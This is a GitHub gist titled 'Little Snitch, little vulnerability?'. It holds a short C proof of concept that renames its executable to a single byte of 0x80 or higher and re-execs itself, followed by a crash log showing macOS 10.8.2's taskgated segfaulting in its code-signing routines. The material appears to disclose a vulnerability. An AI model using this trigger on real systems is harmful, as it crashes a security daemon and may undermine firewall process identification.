Skip to content

Instantly share code, notes, and snippets.

@jedisct1
Created October 10, 2012 04:10
Show Gist options
  • Save jedisct1/3863099 to your computer and use it in GitHub Desktop.
Save jedisct1/3863099 to your computer and use it in GitHub Desktop.
Little Snitch, little vulnerability?
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
const char *name = "\x80"; // any char >= 0x80 will work
rename(argv[0], name);
execl(name, name, NULL);
return 0;
}
/*
Oct 9 21:18:17 Insights-2.local ReportCrash[1560]: failed looking up LS service ( scCreateSystemService returned MACH_PORT_NULL, called from SetupCoreApplicationServicesCommunicationPort, so using client-side NULL calls.
Oct 9 21:18:17 Insights-2.local ReportCrash[1560]: LaunchServices/5123589: Unable to lookup coreservices session port for session 0x186a0 uid=0 euid=0
Oct 9 21:18:17 Insights-2 com.apple.launchd[1] (com.apple.taskgated[1476]): Job appears to have crashed: Segmentation fault: 11
Process: taskgated [1257]
Path: /usr/libexec/taskgated
Identifier: taskgated
Version: 55127.3
Code Type: X86-64 (Native)
Parent Process: launchd [1]
User ID: 0
Date/Time: 2012-10-09 21:10:08.282 -0700
OS Version: Mac OS X 10.8.2 (12C60)
Report Version: 10
Crashed Thread: 0 Dispatch queue: com.apple.main-thread
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x0000000000000000
VM Regions Near 0:
-->
__TEXT 0000000100ab1000-0000000100ac1000 [ 64K] r-x/rwx SM=COW /usr/libexec/taskgated
Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0 com.apple.CoreFoundation 0x00007fff8ddf550a CFStringGetLength + 10
1 com.apple.CoreFoundation 0x00007fff8de052e6 CFURLCreateWithFileSystemPath + 54
2 com.apple.security 0x00007fff8a84a4ca Security::makeCFURL(char const*, bool, __CFURL const*) + 150
3 com.apple.security 0x00007fff8a777f8f Security::CodeSigning::DiskRep::bestGuess(char const*, unsigned long) + 35
4 com.apple.security 0x00007fff8a76f7f1 Security::CodeSigning::KernelCode::identifyGuest(Security::CodeSigning::SecCode*, __CFData const**) + 173
5 com.apple.security 0x00007fff8a77b855 Security::CodeSigning::SecCode::identify() + 59
6 com.apple.security 0x00007fff8a77b766 Security::CodeSigning::SecCode::staticCode() + 24
7 com.apple.security 0x00007fff8a77bb1d Security::CodeSigning::SecCode::autoLocateGuest(__CFDictionary const*, unsigned int) + 229
8 com.apple.security 0x00007fff8a76ebbb SecCodeCopyGuestWithAttributes + 293
9 taskgated 0x0000000100ab36f4 0x100ab1000 + 9972
10 taskgated 0x0000000100ab485a 0x100ab1000 + 14426
11 taskgated 0x0000000100ab574c 0x100ab1000 + 18252
12 taskgated 0x0000000100ab57ce 0x100ab1000 + 18382
13 taskgated 0x0000000100ab7be5 0x100ab1000 + 27621
14 taskgated 0x0000000100ab78a2 0x100ab1000 + 26786
15 taskgated 0x0000000100ab2be3 0x100ab1000 + 7139
16 libdyld.dylib 0x00007fff8c3be7e1 start + 1
Thread 1:
0 libsystem_kernel.dylib 0x00007fff89fed692 mach_msg_overwrite_trap + 10
1 libsystem_kernel.dylib 0x00007fff89fecd70 mach_msg_overwrite + 85
2 taskgated 0x0000000100ab7b33 0x100ab1000 + 27443
3 taskgated 0x0000000100ab8019 0x100ab1000 + 28697
4 taskgated 0x0000000100ab8ccd 0x100ab1000 + 31949
5 libsystem_c.dylib 0x00007fff8ba39742 _pthread_start + 327
6 libsystem_c.dylib 0x00007fff8ba26181 thread_start + 13
Thread 2:: Dispatch queue: com.apple.libdispatch-manager
0 libsystem_kernel.dylib 0x00007fff89fefd16 kevent + 10
1 libdispatch.dylib 0x00007fff85ad5dea _dispatch_mgr_invoke + 883
2 libdispatch.dylib 0x00007fff85ad59ee _dispatch_mgr_thread + 54
Thread 0 crashed with X86 Thread State (64-bit):
rax: 0xee76aed68bdca486 rbx: 0x0000000000000000 rcx: 0x0000000000000000 rdx: 0x0000000000000000
rdi: 0x0000000000000000 rsi: 0x0000000000000000 rbp: 0x00007fff5f14cbb0 rsp: 0x00007fff5f14cbb0
r8: 0x0000000000000001 r9: 0x00007fff5f14cb78 r10: 0x0000000000000008 r11: 0x00007fa2a41015c0
r12: 0x0000000000000000 r13: 0x0000000000000000 r14: 0x0000000000000000 r15: 0x0000000000000000
rip: 0x00007fff8ddf550a rfl: 0x0000000000010246 cr2: 0x0000000000000000
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment